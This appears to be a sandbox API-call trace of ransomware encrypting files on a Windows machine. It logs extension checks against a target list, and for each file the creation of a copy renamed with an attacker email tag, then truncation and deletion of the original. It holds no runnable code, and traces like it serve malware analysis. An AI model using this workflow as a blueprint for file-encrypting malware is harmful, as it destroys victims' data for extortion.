	[0098.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0098.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.378] lstrlenW (lpString=".doc") returned 4
	[0098.378] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0098.378] lstrlenW (lpString=".docx") returned 5
	[0098.378] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0098.378] lstrlenW (lpString=".pdf") returned 4
	[0098.378] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0098.378] lstrlenW (lpString=".xls") returned 4
	[0098.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0098.379] lstrlenW (lpString=".xlsx") returned 5
	[0098.379] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0098.379] lstrlenW (lpString=".ppt") returned 4
	[0098.379] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0098.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.379] lstrlenW (lpString=".zip") returned 4
	[0098.379] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0098.379] lstrlenW (lpString=".rar") returned 4
	[0098.379] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0098.379] lstrlenW (lpString=".bz2") returned 4
	[0098.379] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0098.379] lstrlenW (lpString=".7z") returned 3
	[0098.379] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0098.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.380] lstrlenW (lpString=".dbf") returned 4
	[0098.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0098.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.380] lstrlenW (lpString=".1cd") returned 4
	[0098.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0098.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.380] lstrlenW (lpString=".jpg") returned 4
	[0098.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0098.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.380] lstrlenW (lpString=".doc") returned 4
	[0098.380] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0098.380] lstrlenW (lpString=".docx") returned 5
	[0098.380] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0098.380] lstrlenW (lpString=".pdf") returned 4
	[0098.380] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0098.380] lstrlenW (lpString=".xls") returned 4
	[0098.381] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0098.381] lstrlenW (lpString=".xlsx") returned 5
	[0098.381] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0098.381] lstrlenW (lpString=".ppt") returned 4
	[0098.381] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0098.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.381] lstrlenW (lpString=".zip") returned 4
	[0098.381] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0098.381] lstrlenW (lpString=".rar") returned 4
	[0098.381] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0098.382] lstrlenW (lpString=".bz2") returned 4
	[0098.382] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0098.382] lstrlenW (lpString=".7z") returned 3
	[0098.382] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0098.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.382] lstrlenW (lpString=".dbf") returned 4
	[0098.382] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0098.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.382] lstrlenW (lpString=".1cd") returned 4
	[0098.382] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0098.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61
	[0098.383] lstrlenW (lpString=".jpg") returned 4
	[0098.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0098.383] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0098.383] lstrlenW (lpString="AccessMUI.XML") returned 13
	[0098.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.386] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1349) returned 1
	[0098.386] CloseHandle (hObject=0x184) returned 1
	[0098.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20
	[0098.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.387] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.387] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0098.388] GetLastError () returned 0x0
	[0098.389] ReadFile (in: hFile=0x184, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x545, lpOverlapped=0x0) returned 1
	[0098.443] WriteFile (in: hFile=0x1d8, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0098.444] ReadFile (in: hFile=0x184, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0098.444] WriteFile (in: hFile=0x1d8, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0098.444] SetEndOfFile (hFile=0x1d8) returned 1
	[0098.444] CloseHandle (hObject=0x1d8) returned 1
	[0098.448] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.448] SetEndOfFile (hFile=0x184) returned 1
	[0098.451] CloseHandle (hObject=0x184) returned 1
	[0098.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0098.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1
	[0098.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.953] lstrlenW (lpString=".doc") returned 4
	[0098.953] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0098.953] lstrlenW (lpString=".docx") returned 5
	[0098.953] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0098.953] lstrlenW (lpString=".pdf") returned 4
	[0098.953] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0098.953] lstrlenW (lpString=".xls") returned 4
	[0098.953] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0098.953] lstrlenW (lpString=".xlsx") returned 5
	[0098.953] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0098.953] lstrlenW (lpString=".ppt") returned 4
	[0098.953] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0098.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.953] lstrlenW (lpString=".zip") returned 4
	[0098.953] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0098.953] lstrlenW (lpString=".rar") returned 4
	[0098.953] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0098.953] lstrlenW (lpString=".bz2") returned 4
	[0098.953] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0098.953] lstrlenW (lpString=".7z") returned 3
	[0098.954] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0098.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.954] lstrlenW (lpString=".dbf") returned 4
	[0098.954] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.954] lstrlenW (lpString=".1cd") returned 4
	[0098.954] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.954] lstrlenW (lpString=".jpg") returned 4
	[0098.954] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.954] lstrlenW (lpString=".doc") returned 4
	[0098.954] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString=".docx") returned 5
	[0098.954] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0098.954] lstrlenW (lpString=".pdf") returned 4
	[0098.954] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString=".xls") returned 4
	[0098.954] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString=".xlsx") returned 5
	[0098.954] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0098.954] lstrlenW (lpString=".ppt") returned 4
	[0098.954] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0098.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.954] lstrlenW (lpString=".zip") returned 4
	[0098.954] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0098.955] lstrlenW (lpString=".rar") returned 4
	[0098.955] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0098.955] lstrlenW (lpString=".bz2") returned 4
	[0098.955] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0098.955] lstrlenW (lpString=".7z") returned 3
	[0098.955] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0098.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.955] lstrlenW (lpString=".dbf") returned 4
	[0098.955] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0098.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.955] lstrlenW (lpString=".1cd") returned 4
	[0098.955] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0098.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0098.955] lstrlenW (lpString=".jpg") returned 4
	[0098.955] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0098.955] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0098.955] lstrlenW (lpString="GrooveMUI.XML") returned 13
	[0098.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0098.956] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=913) returned 1
	[0098.956] CloseHandle (hObject=0x18c) returned 1
	[0098.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20
	[0098.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0098.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0098.956] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.956] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0098.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0099.548] GetLastError () returned 0x0
	[0099.548] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x391, lpOverlapped=0x0) returned 1
	[0099.550] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x3a0, lpOverlapped=0x0) returned 1
	[0099.551] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.551] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0099.551] SetEndOfFile (hFile=0x184) returned 1
	[0099.551] CloseHandle (hObject=0x184) returned 1
	[0099.552] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.552] SetEndOfFile (hFile=0x18c) returned 1
	[0099.553] CloseHandle (hObject=0x18c) returned 1
	[0099.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1
	[0099.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.553] lstrlenW (lpString=".doc") returned 4
	[0099.553] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString=".docx") returned 5
	[0099.554] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0099.554] lstrlenW (lpString=".pdf") returned 4
	[0099.554] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString=".xls") returned 4
	[0099.554] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString=".xlsx") returned 5
	[0099.554] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0099.554] lstrlenW (lpString=".ppt") returned 4
	[0099.554] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.554] lstrlenW (lpString=".zip") returned 4
	[0099.554] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.554] lstrlenW (lpString=".rar") returned 4
	[0099.554] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString=".bz2") returned 4
	[0099.554] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString=".7z") returned 3
	[0099.554] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.554] lstrlenW (lpString=".dbf") returned 4
	[0099.554] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.554] lstrlenW (lpString=".1cd") returned 4
	[0099.554] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.554] lstrlenW (lpString=".jpg") returned 4
	[0099.554] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.555] lstrlenW (lpString=".doc") returned 4
	[0099.555] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString=".docx") returned 5
	[0099.555] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0099.555] lstrlenW (lpString=".pdf") returned 4
	[0099.555] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString=".xls") returned 4
	[0099.555] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString=".xlsx") returned 5
	[0099.555] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0099.555] lstrlenW (lpString=".ppt") returned 4
	[0099.555] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.555] lstrlenW (lpString=".zip") returned 4
	[0099.555] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.555] lstrlenW (lpString=".rar") returned 4
	[0099.555] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString=".bz2") returned 4
	[0099.555] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.555] lstrlenW (lpString=".7z") returned 3
	[0099.555] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.555] lstrlenW (lpString=".dbf") returned 4
	[0099.555] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.556] lstrlenW (lpString=".1cd") returned 4
	[0099.556] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106
	[0099.556] lstrlenW (lpString=".jpg") returned 4
	[0099.556] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.556] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0099.556] lstrlenW (lpString="BRANDING.XML") returned 12
	[0099.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0099.558] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=596341) returned 1
	[0099.558] CloseHandle (hObject=0x18c) returned 1
	[0099.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20
	[0099.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0099.559] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.559] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0099.559] GetLastError () returned 0x0
